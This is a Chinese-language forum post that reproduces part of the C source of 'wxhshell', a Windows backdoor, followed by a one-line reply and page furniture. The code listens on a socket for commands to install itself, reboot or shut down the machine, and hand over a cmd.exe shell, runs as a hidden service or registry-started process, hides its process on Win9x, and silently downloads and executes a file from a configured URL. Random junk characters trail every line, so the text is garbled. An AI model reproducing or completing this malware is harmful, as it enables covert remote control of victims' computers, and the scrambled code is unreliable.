  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |5#iPw_wMY  
  } Ct0YwIR*  
  else { Qcs >BOV~  
F9 2et<y.  
    switch(cmd[0]) { %TS8 9/  
  qN(,8P\90  
  // 帮助 95b65f  
  case '?': { 8 CCA}lOG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?@5#p*u0  
    break; Is#w=s}2  
  } ,,CheRO  
  // 安装 (sL!nRw  
  case 'i': { Pef$-3aP>E  
    if(Install()) 48"=,IrM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]97`=,OUg  
    else =`fz#Mfd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l_0/g^(  
    break; 6;%Ajx  
    } iYBp"+#2  
  // 卸载 )&wJ_ (z  
  case 'r': { b,o@ m  
    if(Uninstall()) JmJNq$2#c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xI,7ld~  
    else ^K`Vqo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %xh A2  
    break; K %Qj<{)  
    } m5KAKpCR,  
  // 显示 wxhshell 所在路径 oC >l|?h,  
  case 'p': { Q|i`s=|  
    char svExeFile[MAX_PATH]; O&ZVu>`g  
    strcpy(svExeFile,"\n\r"); Yo a|.2f  
      strcat(svExeFile,ExeFile); K f}h{X  
        send(wsh,svExeFile,strlen(svExeFile),0); >gGdzL  
    break; L6IF0`M<,I  
    } eO?@K$I  
  // 重启 X+;{&Efrl  
  case 'b': { ^rIe"Kx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x>*#cOVz;C  
    if(Boot(REBOOT)) $hE,BeQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NI33lp$V  
    else { VVVw\|JB>  
    closesocket(wsh); ?0VETa ~m  
    ExitThread(0); ~$:=hT1  
    } :iVEm9pB)  
    break; R4q)FXW29  
    } VFjNrngl  
  // 关机 ZZ@1l  
  case 'd': { DqbU$jt`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +y\mlfJ.-b  
    if(Boot(SHUTDOWN)) Y.}8lh eH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q:X&)f  
    else { 3tAX4DnYrq  
    closesocket(wsh); MaQ`7U5 |e  
    ExitThread(0); r8Pdk/CW^  
    } /FW{>N1   
    break; U5pg<xI  
    } G'0]m-)dw  
  // 获取shell U?sio%`(  
  case 's': { JtGBNz!"  
    CmdShell(wsh); H;=++Dh  
    closesocket(wsh); RY9h^q*  
    ExitThread(0); FNB4YZ6  
    break; VT~jgsY  
  } ``9`Xq  
  // 退出 =BNS3W6  
  case 'x': { [7*$Sd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Z58"dg.5  
    CloseIt(wsh); +tSfx  
    break; 1 wB2:o<  
    } HA W57N  
  // 离开 Md(h-wYr  
  case 'q': { y`Km96 Ui  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YKWts y  
    closesocket(wsh); <QZ X""  
    WSACleanup(); pJ ;4rrSK  
    exit(1); |\iJ6m;a  
    break; 3,4m|Z2)  
        } fx `oe  
  } t $yt8#Tk  
  } ?PSVVU q,Z  
jZLD^@AP  
  // 提示信息 1Z| {3W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gW(7jFl  
} nD/; Gq  
  } nW7Ew<`Q  
/+{]?y,  
  return; ]v6s](CE  
} [H&Z / .{F  
|uRZT3bGyj  
// shell模块句柄 u{dI[?@  
int CmdShell(SOCKET sock) 3El5g0'G  
{ B9(e"cMm  
STARTUPINFO si; .6xIg+  
ZeroMemory(&si,sizeof(si)); bX*c-r:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZclZD{%8J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6y d/3k  
PROCESS_INFORMATION ProcessInfo; 0b~{l;  
char cmdline[]="cmd"; NP?hoqeKs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @/yJTMcf  
  return 0; Zwxu3R_  
} /UAcN1K!B  
dB%q`7O  
// 自身启动模式 "Nlw&+ c7  
int StartFromService(void) ZB@Bj>,b p  
{ >ho$mvT  
typedef struct @+ee0 CLT  
{ NiPa-yRh  
  DWORD ExitStatus; z=/xv},  
  DWORD PebBaseAddress; '<eeCe-  
  DWORD AffinityMask; $Z!7@_Ys  
  DWORD BasePriority; L4?)N&V  
  ULONG UniqueProcessId; xHo iu$i6  
  ULONG InheritedFromUniqueProcessId; C. rLog#  
}   PROCESS_BASIC_INFORMATION; pk5W!K  
e"]*^Q  
PROCNTQSIP NtQueryInformationProcess; k~+(X|!5w  
}'.k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pcl '!8&7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dX8N7{"[  
]pi8%.d  
  HANDLE             hProcess; @ %}4R`S0  
  PROCESS_BASIC_INFORMATION pbi; 1deNrmp%  
?}D|]i34  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1y)|m63&  
  if(NULL == hInst ) return 0; >nA6w$  
VM[U&g<8n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dd:;8Xo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SC 6cFyp2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FsdxLMwk1  
*'&mcEpg  
  if (!NtQueryInformationProcess) return 0; Rz_fNlA  
`+>'18F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S_EN,2'e  
  if(!hProcess) return 0; Nt^9N #+N  
Y Cbt(nmr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %/r}_V(UN  
(ev(~Wc  
  CloseHandle(hProcess); /18VQ  
vn0}l6n3s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eGi[LJ)np  
if(hProcess==NULL) return 0; gBZ1Weu-'  
|&hu3-(  
HMODULE hMod; u_~*)w+mS@  
char procName[255]; },@1i<Bb  
unsigned long cbNeeded; 5C^oqUZ  
d l<7jM?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vUa&9Y  
00d<V:Aoy  
  CloseHandle(hProcess); aOr'OeG(=e  
F7r!zKXZ  
if(strstr(procName,"services")) return 1; // 以服务启动 0M^v%2 2  
xct{Tv[FO  
  return 0; // 注册表启动 y:>'1"2`  
} M],}.l  
>,V~-Tp  
// 主模块 K4V\Jj1l  
int StartWxhshell(LPSTR lpCmdLine) f 4Yn=D=_  
{ Q#} 0pq  
  SOCKET wsl; 1dgy-$H~  
BOOL val=TRUE; 6zfi\(fop  
  int port=0; )`sEdVxbr  
  struct sockaddr_in door; `l0&,]  
i{9_C/  
  if(wscfg.ws_autoins) Install(); snW=9b)m  
tAM t7p-  
port=atoi(lpCmdLine); ~H)s>6>#v  
ygA~d9"  
if(port<=0) port=wscfg.ws_port; WHM|kt  
N7b+GqYpF>  
  WSADATA data; e{<r<]/j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -/O_wqm#  
^lp#j;Df  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nhm)P_p   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? V0!N;  
  door.sin_family = AF_INET; rrSsQq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (<"uV%1  
  door.sin_port = htons(port); S3G9/  
\9%SR~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &H`AS6  
closesocket(wsl); %FDv6peH  
return 1; N`JkEd7TT  
} Hlr[x  
Id/-u[-yo  
  if(listen(wsl,2) == INVALID_SOCKET) { s?irT;=  
closesocket(wsl); ky^p\dMh  
return 1; g{_wMf  
} D[NJ{E.{  
  Wxhshell(wsl); 1@}`dc  
  WSACleanup(); a->;K+  
@Weim7r  
return 0; 4w\@D>@}H  
007(k"=oV  
} 5a PPq~%  
~T{^7"q\  
// 以NT服务方式启动 ~'[0-_]=f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m4<5jC`-M  
{ [f?fA[, [  
DWORD   status = 0; #'@pL0dj  
  DWORD   specificError = 0xfffffff; >+ P5Zm(_  
QQnpy.`:/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <;R}dlBASW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]f3eiHg*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j!It1B  
  serviceStatus.dwWin32ExitCode     = 0; 'F)93SwU  
  serviceStatus.dwServiceSpecificExitCode = 0; m=hlim;P,  
  serviceStatus.dwCheckPoint       = 0; v|WTm#  
  serviceStatus.dwWaitHint       = 0; [T(XwA)  
7H+IW4Ma  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8K]5fkC|  
  if (hServiceStatusHandle==0) return; =nQgS.D  
'nrX RDb  
status = GetLastError(); gB;5&;T:  
  if (status!=NO_ERROR) #%;QcDXRe  
{ .}wVM`81z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q, 8TOn  
    serviceStatus.dwCheckPoint       = 0; oV(|51(f  
    serviceStatus.dwWaitHint       = 0; X4c|*U=4  
    serviceStatus.dwWin32ExitCode     = status; EU@ BNja  
    serviceStatus.dwServiceSpecificExitCode = specificError; _5nS!CN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8%@![$q<g  
    return; ?nLlZpZ2v  
  } Cw*:`  
a+U^mPe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *CIR$sS  
  serviceStatus.dwCheckPoint       = 0; |B<;4ISaRI  
  serviceStatus.dwWaitHint       = 0; BkP'b{z|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nD8 Qeem@  
} 2~*J<iO&l  
@Nm;lZK  
// 处理NT服务事件,比如:启动、停止 qPn }$1+~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kkyi`_ZKn  
{ 6cF~8  
switch(fdwControl) E=H>|FgS  
{ Aa.eu=@I  
case SERVICE_CONTROL_STOP: *t)Y@=k3>  
  serviceStatus.dwWin32ExitCode = 0; J@Qt(rRxi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SWX[|sjdB  
  serviceStatus.dwCheckPoint   = 0; l8XgzaW  
  serviceStatus.dwWaitHint     = 0; va>u1S<lO  
  { 6/%dD DU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [eWZ^Eh"I  
  } VIXY?Ua  
  return; a'[Ah2}3r<  
case SERVICE_CONTROL_PAUSE: vDeb?n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T uk:: .jD  
  break; qy9RYIfZ  
case SERVICE_CONTROL_CONTINUE: rwJCVkF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lR[]A  
  break; K~C6dy  
case SERVICE_CONTROL_INTERROGATE: EO_:C9=d{  
  break; vky@L!&,  
}; D <16m<b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,esryFRG  
} K4G43P5q`  
g+X .8>=  
// 标准应用程序主函数 2ncD,@ij  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d7f{2  
{ 4R(H@p%+r2  
($h`Y;4  
// 获取操作系统版本 2@A%;f0Q  
OsIsNt=GetOsVer(); t-gLh(-.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u6B,V  
o4^|n1vN  
  // 从命令行安装 kK,Ne%}a2K  
  if(strpbrk(lpCmdLine,"iI")) Install(); V!{}%;f  
ZM6`:/lc  
  // 下载执行文件 K+s@.D9J  
if(wscfg.ws_downexe) { SU,#:s(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^n@dC?  
  WinExec(wscfg.ws_filenam,SW_HIDE); c\J?J>xz  
} !Qqi%  
eTeZ^G  
if(!OsIsNt) { ef Moi'v  
// 如果时win9x,隐藏进程并且设置为注册表启动 nT;Rwz$3  
HideProc(); **D3.-0u&  
StartWxhshell(lpCmdLine); NMM$ m!zg  
} ]T?Py)  
else 8JFns-5  
  if(StartFromService()) <Lt%[dn  
  // 以服务方式启动 ]52.nxs~  
  StartServiceCtrlDispatcher(DispatchTable); MJzY|  
else =o!1}'1}}  
  // 普通方式启动 Q[wTV3d  
  StartWxhshell(lpCmdLine); xA&RMu&  
@MoBR.  
return 0; c)b/"  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八